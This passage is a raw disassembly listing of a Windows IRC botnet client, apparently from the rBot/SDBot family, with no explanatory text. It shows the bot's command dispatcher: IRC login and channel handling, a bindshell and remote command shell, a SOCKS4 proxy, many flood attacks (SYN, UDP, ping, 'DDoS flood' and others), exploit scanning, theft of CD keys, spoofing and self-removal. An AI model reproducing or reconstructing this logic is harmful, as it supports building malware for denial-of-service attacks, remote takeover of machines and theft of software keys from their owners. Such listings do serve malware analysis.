cmp byte ptr [edi], 23h
jz loc_402300
push eax
push edi
push offset dword_43FD48
jmp loc_40202F
; ---------------------------------------------------------------------------
loc_40254E: ; CODE XREF: sub_401C87+8D5j
push 32h
call ds:dword_4F534C ; Sleep
loc_402556: ; CODE XREF: sub_401C87+7A5j
cmp [ebp+var_19EC], ebx
jz short loc_40254E
jmp short loc_402593
; ---------------------------------------------------------------------------
loc_402560: ; CODE XREF: sub_401C87+79Fj
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_43FD60
jmp loc_4085EB
; ---------------------------------------------------------------------------
loc_402571: ; CODE XREF: sub_401C87+6C6j
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset unk_43FDA0
push eax
call sub_41EA60
add esp, 10h
loc_402593: ; CODE XREF: sub_401C87+8D7j
; sub_401C87+A22j ...
xor esi, esi
inc esi
jmp loc_406F42
; ---------------------------------------------------------------------------
loc_40259B: ; CODE XREF: sub_401C87+6BAj
push [ebp+esi+var_8C]
push offset aChat ; "CHAT"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz loc_4026E6
cmp [ebp+var_A8], ebx
jz loc_4026BF
push 1Bh
call sub_40B8D3
test eax, eax
pop ecx
jnz loc_4026AE
push [ebp+esi+var_84]
lea eax, [ebp+var_2AA8]
push offset aS ; "%s"
push eax
call sub_41EA60
push [ebp+esi+var_80]
call sub_41E710
mov [ebp+var_2910], eax
mov eax, [ebp+arg_4]
mov [ebp+var_2AB0], eax
lea eax, [ebp+var_C0]
push 7Fh
push eax
lea eax, [ebp+var_2990]
push eax
call sub_41E510
mov eax, [ebp+var_4]
mov [ebp+var_2908], eax
mov eax, [ebp+var_8]
mov [ebp+var_2904], eax
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_2C0]
push offset unk_43FDF0
push eax
call sub_41EA60
push ebx
lea eax, [ebp+var_2C0]
push 1Bh
push eax
call sub_40B691
add esp, 34h
mov [ebp+var_290C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2AB0]
push ebx
push eax
push offset sub_4165C7
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_290C]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_455F14[ecx], eax
jnz short loc_4026A1
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_43FE10
jmp loc_4085EB
; ---------------------------------------------------------------------------
loc_402699: ; CODE XREF: sub_401C87+A20j
push 32h
call ds:dword_4F534C ; Sleep
loc_4026A1: ; CODE XREF: sub_401C87+9FFj
cmp [ebp+var_2900], ebx
jz short loc_402699
jmp loc_402593
; ---------------------------------------------------------------------------
loc_4026AE: ; CODE XREF: sub_401C87+945j
lea eax, [ebp+var_C0]
push eax
push offset unk_43FE48
jmp loc_4085EB
; ---------------------------------------------------------------------------
loc_4026BF: ; CODE XREF: sub_401C87+935j
lea eax, [ebp+var_C0]
push eax
push offset unk_43FE78
jmp loc_4085EB
; ---------------------------------------------------------------------------
loc_4026D0: ; CODE XREF: sub_401C87+69Fj
mov eax, [ebp+arg_8]
lea ecx, [eax+1]
mov al, [eax]
cmp al, ds:byte_43F098
mov [edi], ecx
jnz loc_4076C4
loc_4026E6: ; CODE XREF: sub_401C87+929j
mov edi, [edi]
push edi
push offset aLogin ; "login"
mov [ebp+arg_8], edi
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_409A6F
push edi
push offset asc_43FEB2 ; "l"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_409A6F
cmp [ebp+var_A8], ebx
jnz short loc_402737
push [ebp+var_8C]
push offset a332_0 ; "332"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz loc_409A67
loc_402737: ; CODE XREF: sub_401C87+A94j
cmp [ebp+arg_28], ebx
jnz loc_409A67
xor edi, edi
cmp ds:dword_43FA40, ebx
jle loc_4028E4
mov [ebp+arg_20], offset dword_455180
loc_402755: ; CODE XREF: sub_401C87+AEDj
push [ebp+arg_8]
push [ebp+arg_20]
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz short loc_40277B
add [ebp+arg_20], 0B8h
inc edi
cmp edi, ds:dword_43FA40
jl short loc_402755
jmp loc_4028E4
; ---------------------------------------------------------------------------
loc_40277B: ; CODE XREF: sub_401C87+ADDj
push offset asc_43FEB8 ; " :"
push [ebp+arg_0]
call sub_41EBB0
pop ecx
cmp eax, ebx
pop ecx
jz loc_4076C4
mov cl, ds:byte_43F098
imul edi, 0B8h
mov [eax+2], cl
mov cl, ds:byte_43F098
mov [eax+3], cl
lea ecx, dword_455198[edi]
push 9Fh
add eax, 4
push ecx
push eax
call sub_41E510
lea eax, dword_455180[edi]
add esp, 0Ch
mov [ebp+arg_8], 0Fh
mov [ebp+arg_20], eax
lea edi, [ebp+esi+var_50]
loc_4027D6: ; CODE XREF: sub_401C87+BF2j
push [ebp+arg_8]
lea eax, [ebp+var_A0]
push offset aD ; "$%d-"
push eax
call sub_41EA60
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41EBB0
add esp, 14h
test eax, eax
jz short loc_402838
cmp [edi], ebx
jz short loc_40283C
push [ebp+arg_20]
call sub_41BC70
add [ebp+var_C], eax
pop ecx
jz short loc_402870
push dword ptr [edi-4]
push [ebp+var_C]
call sub_41EBB0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_402870
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_4189CD
add esp, 0Ch
jmp short loc_402870
; ---------------------------------------------------------------------------
loc_402838: ; CODE XREF: sub_401C87+B77j
cmp [edi], ebx
jnz short loc_402870
loc_40283C: ; CODE XREF: sub_401C87+B7Bj
lea eax, [ebp+var_A0]
push 2
push eax
lea eax, [ebp+var_94]
push eax
call sub_41E510
lea eax, [ebp+var_94]
mov [ebp+var_92], bl
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_4189CD
add esp, 18h
loc_402870: ; CODE XREF: sub_401C87+B89j
; sub_401C87+B9Aj ...
dec [ebp+arg_8]
sub edi, 4
cmp [ebp+arg_8], ebx
jg loc_4027D6
lea eax, [ebp+esi+var_50]
mov [ebp+arg_8], 10h
mov edi, eax
loc_40288C: ; CODE XREF: sub_401C87+C51j
push [ebp+arg_8]
lea eax, [ebp+var_A0]
push offset aD_0 ; "$%d"
push eax
call sub_41EA60
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41EBB0
add esp, 14h
test eax, eax
jz short loc_4028CF
mov eax, [edi]
cmp eax, ebx
jz short loc_4028CF
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_4189CD
add esp, 0Ch
loc_4028CF: ; CODE XREF: sub_401C87+C2Dj
; sub_401C87+C33j
dec [ebp+arg_8]
sub edi, 4
cmp [ebp+arg_8], ebx
jg short loc_40288C
mov [ebp+var_2C4], 1
loc_4028E4: ; CODE XREF: sub_401C87+AC1j
; sub_401C87+AEFj
lea eax, [ebp+esi+var_90]
mov edi, [eax]
mov cl, [edi]
cmp cl, ds:byte_43F098
jz short loc_402903
cmp [ebp+var_2C4], ebx
jz loc_402AEC
loc_402903: ; CODE XREF: sub_401C87+C6Ej
push [ebp+arg_10]
mov edi, [ebp+arg_0]
push offset aMe ; "$me"
push edi
call sub_4189CD
lea eax, [ebp+var_C0]
push eax
push offset aUser ; "$user"
push edi
call sub_4189CD
push [ebp+var_88]
push offset aChan ; "$chan"
push edi
call sub_4189CD
push ebx
push ebx
lea eax, [ebp+var_A0]
push 2
push eax
call sub_40B38F
push eax
push offset aRndnick ; "$rndnick"
push edi
call sub_4189CD
add esp, 40h
push [ebp+arg_14]
push offset aServer ; "$server"
push edi
call sub_4189CD
mov edi, offset aChr ; "$chr("
push edi
push [ebp+arg_0]
call sub_41EBB0
add esp, 14h
jmp loc_402A6E
; ---------------------------------------------------------------------------
loc_40297A: ; CODE XREF: sub_401C87+DE9j
push offset aChr_0 ; "$chr("
push [ebp+arg_0]
call sub_41EBB0
mov [ebp+arg_10], eax
add eax, 5
push 4
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41E510
lea eax, [ebp+var_A0]
push offset asc_43FEFE ; ")"
push eax
call sub_41F870
add esp, 1Ch
cmp [ebp+var_A0], 30h
jl short loc_4029C2
cmp [ebp+var_A0], 39h
jle short loc_4029D8
loc_4029C2: ; CODE XREF: sub_401C87+D30j
push 3
lea eax, [ebp+var_A0]
push offset a63 ; "63"
push eax
call sub_41E510
add esp, 0Ch
loc_4029D8: ; CODE XREF: sub_401C87+D39j
lea eax, [ebp+var_A0]
push eax
call sub_41E710
test eax, eax
pop ecx
jle short loc_4029FE
lea eax, [ebp+var_A0]
push eax
call sub_41E710
pop ecx
mov [ebp+var_94], al
jmp short loc_402A12
; ---------------------------------------------------------------------------
loc_4029FE: ; CODE XREF: sub_401C87+D60j
call sub_41EB70
push 60h
cdq
pop ecx
idiv ecx
add dl, 20h
mov [ebp+var_94], dl
loc_402A12: ; CODE XREF: sub_401C87+D75j
lea eax, [ebp+var_A0]
mov [ebp+var_93], bl
push eax
call sub_41BC70
mov [ebp+arg_8], eax
push 0Ch
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_41E4B0
mov eax, [ebp+arg_8]
add eax, 6
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_10]
push eax
call sub_41E510
lea eax, [ebp+var_94]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_4189CD
push edi
push [ebp+arg_0]
call sub_41EBB0
add esp, 30h
loc_402A6E: ; CODE XREF: sub_401C87+CEEj
test eax, eax
jnz loc_40297A
mov edi, 1FFh
lea eax, [ebp+var_4488]
push edi
push [ebp+arg_0]
push eax
call sub_41E510
lea eax, [ebp+var_4488]
push edi
push eax
lea eax, [ebp+var_4AF0]
push eax
call sub_41E510
lea eax, [ebp+var_4AF0]
push offset asc_43FF04 ; " "
push eax
call sub_41F870
xor edi, edi
add esp, 20h
mov [ebp+var_90], eax
inc edi
loc_402ABC: ; CODE XREF: sub_401C87+E4Dj
push 43FF06h
push ebx
call sub_41F870
mov [ebp+edi*4+var_90], eax
inc edi
pop ecx
cmp edi, 20h
pop ecx
jl short loc_402ABC
lea eax, [ebp+esi+var_90]
mov ecx, [eax]
cmp ecx, ebx
jz loc_4076C4
add ecx, 3
mov [eax], ecx
loc_402AEC: ; CODE XREF: sub_401C87+C76j
mov edi, [eax]
push edi
push offset aRndnick_0 ; "rndnick"
mov [ebp+arg_8], edi
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_409A1A
push edi
push offset aRn ; "rn"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_409A1A
push edi
push offset aDie ; "die"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_404BA2
push edi
push offset aD_1 ; "d"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_404BA2
push edi
push offset aLogout ; "logout"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_404B04
push edi
push offset aLo ; "lo"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_404B04
push edi
push offset aVersion ; "version"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_404AF5
push edi
push offset aVer ; "ver"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_404AF5
push edi
push offset aDedication ; "dedication"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_404AEB
push edi
push offset aDed ; "ded"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_404AEB
push edi
push offset aSpeedtest ; "speedtest"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_404AD2
push edi
push offset aSt ; "st"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_404AD2
push edi
push offset aSecure ; "secure"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4049D5
push edi
push offset aSec ; "sec"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4049D5
push edi
push offset aUnsecure ; "unsecure"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4049D5
push edi
push offset aUnsec ; "unsec"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4049D5
push edi
push offset aBindshell ; "bindshell"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4048D0
push edi
push offset aBd ; "bd"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4048D0
push edi
push offset aBindshellstop ; "bindshellstop"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402CAB
push [ebp+esi+var_8C]
push 6
push offset aServer_1 ; "Server"
push offset dword_43FF9C
loc_402C8F: ; CODE XREF: sub_401C87+1072j
; sub_401C87+1098j ...
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B919
add esp, 20h
jmp loc_4076C4
; ---------------------------------------------------------------------------
loc_402CAB: ; CODE XREF: sub_401C87+FF3j
push edi
push offset aSocks4 ; "socks4"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4047AF
push edi
push offset aS4 ; "s4"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4047AF
push edi
push offset aSocks4stop ; "socks4stop"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402CFB
push [ebp+esi+var_8C]
push 19h
push offset aServer_2 ; "Server"
push offset dword_43FFD0
jmp short loc_402C8F
; ---------------------------------------------------------------------------
loc_402CFB: ; CODE XREF: sub_401C87+105Dj
push edi
push offset aRloginstop ; "rloginstop"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402D24
push [ebp+esi+var_8C]
push 9
push offset aServer_3 ; "Server"
push offset dword_43FFF4
jmp loc_402C8F
; ---------------------------------------------------------------------------
loc_402D24: ; CODE XREF: sub_401C87+1083j
push edi
push offset aHttpstop ; "httpstop"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402D4D
push [ebp+esi+var_8C]
push 3
push offset aServer_4 ; "Server"
push offset dword_440018
jmp loc_402C8F
; ---------------------------------------------------------------------------
loc_402D4D: ; CODE XREF: sub_401C87+10ACj
push edi
push offset aLogstop ; "logstop"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402D76
push [ebp+esi+var_8C]
push 25h
push offset aLogList ; "Log list"
push offset dword_44003C
jmp loc_402C8F
; ---------------------------------------------------------------------------
loc_402D76: ; CODE XREF: sub_401C87+10D5j
push edi
push offset aRedirectstop ; "redirectstop"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402D9F
push [ebp+esi+var_8C]
push 18h
push offset aTcpRedirect ; "TCP redirect"
push offset dword_440068
jmp loc_402C8F
; ---------------------------------------------------------------------------
loc_402D9F: ; CODE XREF: sub_401C87+10FEj
push edi
push offset dword_440078
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402DC8
push [ebp+esi+var_8C]
push 0Dh
push offset dword_440084
push offset dword_440090
jmp loc_402C8F
; ---------------------------------------------------------------------------
loc_402DC8: ; CODE XREF: sub_401C87+1127j
push edi
push offset aSynstop ; "synstop"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402DF1
push [ebp+esi+var_8C]
push 0Eh
push offset aSynFlood ; "Syn flood"
push offset dword_4400B0
jmp loc_402C8F
; ---------------------------------------------------------------------------
loc_402DF1: ; CODE XREF: sub_401C87+1150j
push edi
push offset aSkysynstop ; "skysynstop"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402E1A
push [ebp+esi+var_8C]
push 10h
push offset aSkysynFlood ; "SkySyn flood"
push offset dword_4400D8
jmp loc_402C8F
; ---------------------------------------------------------------------------
loc_402E1A: ; CODE XREF: sub_401C87+1179j
push edi
push offset aTarga3stop ; "targa3stop"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402E43
push [ebp+esi+var_8C]
push 11h
push offset aTarga3Flood ; "Targa3 flood"
push offset dword_440104
jmp loc_402C8F
; ---------------------------------------------------------------------------
loc_402E43: ; CODE XREF: sub_401C87+11A2j
push edi
push offset aWonkstop ; "wonkstop"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402E6C
push [ebp+esi+var_8C]
push 12h
push offset aWonkFlood ; "Wonk flood"
push offset dword_44012C
jmp loc_402C8F
; ---------------------------------------------------------------------------
loc_402E6C: ; CODE XREF: sub_401C87+11CBj
push edi
push offset aPacketstop ; "packetstop"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz loc_402FC2
mov esi, [ebp+esi+var_8C]
mov edi, [ebp+arg_4]
push esi
push 0Dh
push offset aDdosFlood ; "DDoS flood"
push offset dword_440150
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B919
push esi
push 0Eh
push offset dword_44015C
push offset dword_440168
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B919
add esp, 40h
push esi
push 17h
push offset dword_440174
push offset dword_440180
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B919
push esi
push 16h
push offset dword_44018C
push offset dword_440198
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B919
add esp, 40h
push esi
push 11h
push offset dword_4401A4
push offset dword_4401B4
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B919
push esi
push 12h
push offset dword_4401C4
push offset dword_4401D0
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B919
add esp, 40h
push esi
push 0Fh
push offset dword_4401DC
push offset dword_4401EC
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B919
push esi
push 13h
push offset dword_4401FC
push offset dword_44020C
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B919
add esp, 40h
push esi
push 10h
push offset dword_44021C
push offset dword_44022C
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B919
push ebx
push [ebp+var_4]
push offset unk_44023C
push [ebp+var_88]
push edi
call sub_409C75
add esp, 34h
jmp loc_4076C4
; ---------------------------------------------------------------------------
loc_402FC2: ; CODE XREF: sub_401C87+11F4j
push edi
push offset aTsunamistop ; "tsunamistop"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402FEB
push [ebp+esi+var_8C]
push 0Fh
push offset aTsunamiFlood ; "Tsunami flood"
push offset dword_44028C
jmp loc_402C8F
; ---------------------------------------------------------------------------
loc_402FEB: ; CODE XREF: sub_401C87+134Aj
push edi
push offset aWisdomstop ; "wisdomstop"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_403014
push [ebp+esi+var_8C]
push 13h
push offset aWisdomAttack ; "Wisdom attack"
push offset dword_4402B8
jmp loc_402C8F
; ---------------------------------------------------------------------------
loc_403014: ; CODE XREF: sub_401C87+1373j
push edi
push offset aUdpstop ; "udpstop"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_40303D
push [ebp+esi+var_8C]
push 17h
push offset aUdpFlood ; "UDP flood"
push offset dword_4402DC
jmp loc_402C8F
; ---------------------------------------------------------------------------
loc_40303D: ; CODE XREF: sub_401C87+139Cj
push edi
push offset aPingstop ; "pingstop"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_403066
push [ebp+esi+var_8C]
push 16h
push offset aPingFlood ; "Ping flood"
push offset dword_440300
jmp loc_402C8F
; ---------------------------------------------------------------------------
loc_403066: ; CODE XREF: sub_401C87+13C5j
push edi
push offset aTftpstop ; "tftpstop"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_40308F
push [ebp+esi+var_8C]
push 5
push offset aServer_5 ; "Server"
push offset dword_440320
jmp loc_402C8F
; ---------------------------------------------------------------------------
loc_40308F: ; CODE XREF: sub_401C87+13EEj
push edi
push offset aFindfilestop ; "findfilestop"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_404797
push edi
push offset aFfstop ; "ffstop"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_404797
push edi
push offset aProcsstop ; "procsstop"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_40477F
push edi
push offset aPsstop ; "psstop"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_40477F
push edi
push offset aClonestop ; "clonestop"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_40310C
push [ebp+esi+var_8C]
push 1Fh
push offset aClone ; "Clone"
push offset dword_440370
jmp loc_402C8F
; ---------------------------------------------------------------------------
loc_40310C: ; CODE XREF: sub_401C87+146Bj
push edi
push offset aSecurestop ; "securestop"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_403135
push [ebp+esi+var_8C]
push 22h
push offset aSecure_1 ; "Secure"
push offset dword_440394
jmp loc_402C8F
; ---------------------------------------------------------------------------
loc_403135: ; CODE XREF: sub_401C87+1494j
push edi
push offset aScanstop ; "scanstop"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_40315E
push [ebp+esi+var_8C]
push 0Bh
push offset aScan_0 ; "Scan"
push offset dword_4403B8
jmp loc_402C8F
; ---------------------------------------------------------------------------
loc_40315E: ; CODE XREF: sub_401C87+14BDj
push edi
push offset aScanstats ; "scanstats"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_404769
push edi
push offset aStats ; "stats"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_404769
push edi
push offset aTransferstats ; "transferstats"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_404753
push edi
push offset aTrstats ; "trstats"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_404753
push edi
push offset aConnectbacksta ; "connectbackstats"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_40473D
push edi
push offset aCbstats ; "cbstats"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_40473D
push edi
push offset aExploitlist ; "exploitlist"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_404727
push edi
push offset aExplist ; "explist"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_404727
push edi
push offset aReconnect ; "reconnect"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_404708
push edi
push offset aR ; "r"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_404708
push edi
push offset aDisconnect ; "disconnect"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4046E6
push edi
push offset aDc ; "dc"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4046E6
push edi
push offset aQuit_0 ; "quit"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_40469D
push edi
push offset aQ ; "q"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_40469D
push edi
push offset aStatus ; "status"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_40465F
push edi
push offset aS_0 ; "s"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_40465F
push edi
push offset aId ; "id"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_404628
push edi
push offset aI ; "i"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_404628
push edi
push offset aReboot ; "reboot"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_40332A
call sub_418E8C
test eax, eax
mov eax, offset unk_440460
jnz short loc_4032FC
mov eax, offset unk_440480
loc_4032FC: ; CODE XREF: sub_401C87+166Ej
push eax
lea eax, [ebp+var_2C0]
push eax
call sub_41EA60
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409C75
add esp, 1Ch
jmp loc_402593
; ---------------------------------------------------------------------------
loc_40332A: ; CODE XREF: sub_401C87+1660j
push edi
push offset aThreads ; "threads"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_40453B
push edi
push offset aT ; "t"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_40453B
push edi
push offset aAliases ; "aliases"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_404518
push edi
push offset aAl ; "al"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_404518
push edi
push offset aLog ; "log"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_404429
push edi
push offset aLg ; "lg"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_404429
push edi
push offset aClearlog ; "clearlog"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_404410
push edi
push offset aClg ; "clg"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_404410
push edi
push offset aNetinfo ; "netinfo"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4043D6
push edi
push offset aNi ; "ni"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4043D6
push edi
push offset aSysinfo ; "sysinfo"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4043AB
push edi
push offset aSi ; "si"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_4043AB
push edi
push offset aRemove ; "remove"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_404371
push edi
push offset aRm ; "rm"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_404371
push edi
push offset aProcs ; "procs"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_40424F
push edi
push offset aPs ; "ps"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_40424F
push edi
push offset aGetcdkeys ; "getcdkeys"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_404225
push edi
push offset aKey ; "key"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_404225
push edi
push offset aUptime ; "uptime"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_40419E
push edi
push offset aUp ; "up"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_40419E
push edi
push offset aDriveinfo ; "driveinfo"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_404181
push edi
push offset aDrv ; "drv"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_404181
push edi
push offset aTestdlls ; "testdlls"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_404168
push edi
push offset aDll ; "dll"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_404168
push edi
push offset aOpencmd ; "opencmd"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_404129
push edi
push offset aOcmd ; "ocmd"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz loc_404129
push edi
push offset aCmdstop ; "cmdstop"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_403575
push [ebp+esi+var_8C]
push 0Ah
push offset aRemoteShell ; "Remote shell"
push offset dword_44056C
jmp loc_402C8F
; ---------------------------------------------------------------------------
loc_403575: ; CODE XREF: sub_401C87+18D4j
push edi
push offset dword_440578
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz loc_403692
cmp [ebp+var_8], ebx
jnz short loc_4035A9
push ebx
push [ebp+var_4]
push offset dword_44057C
push [ebp+var_88]
push [ebp+arg_4]
call sub_409C75
add esp, 14h
loc_4035A9: ; CODE XREF: sub_401C87+1906j
mov eax, [ebp+arg_18]
mov [ebp+arg_20], ebx
mov [ebp+arg_18], eax
jmp short loc_4035B7
; ---------------------------------------------------------------------------
loc_4035B4: ; CODE XREF: sub_401C87+197Cj
mov eax, [ebp+arg_18]
loc_4035B7: ; CODE XREF: sub_401C87+192Bj
cmp [eax], bl
jz short loc_4035BE
inc eax
jmp short loc_4035C3
; ---------------------------------------------------------------------------
loc_4035BE: ; CODE XREF: sub_401C87+1932j
mov eax, offset dword_440590
loc_4035C3: ; CODE XREF: sub_401C87+1935j
push eax
lea eax, [ebp+var_2C0]
push [ebp+arg_20]
push offset dword_440598
push eax
call sub_41EA60
push 1
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409C75
add [ebp+arg_18], 80h
add esp, 24h
inc [ebp+arg_20]
cmp [ebp+arg_20], 3
jl short loc_4035B4
push offset unk_4405A0
call sub_415A3C
pop ecx
loc_403610: ; CODE XREF: sub_401C87+1C0Bj
; sub_401C87+2F2Fj
mov eax, [ebp+esi+var_8C]
cmp eax, ebx
mov [ebp+arg_10], eax
jz loc_4076C4
push edi
push offset aSpoof ; "spoof"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz loc_404CC2
mov esi, [ebp+arg_10]
push offset aOff ; "off"
push esi
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz loc_404BC8
lea eax, [ebp+var_2C0]
push offset unk_4405D0
push eax
mov ds:dword_4E676C, ebx
call sub_41EA60
pop ecx
pop ecx
loc_403668: ; CODE XREF: sub_401C87+2FE2j
; sub_401C87+3008j ...
cmp [ebp+var_8], ebx
jnz loc_409A67
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409C75
loc_40368A: ; CODE XREF: sub_401C87+7114j
; sub_401C87+7178j
add esp, 14h
jmp loc_409A67
; ---------------------------------------------------------------------------
loc_403692: ; CODE XREF: sub_401C87+18FDj
push edi
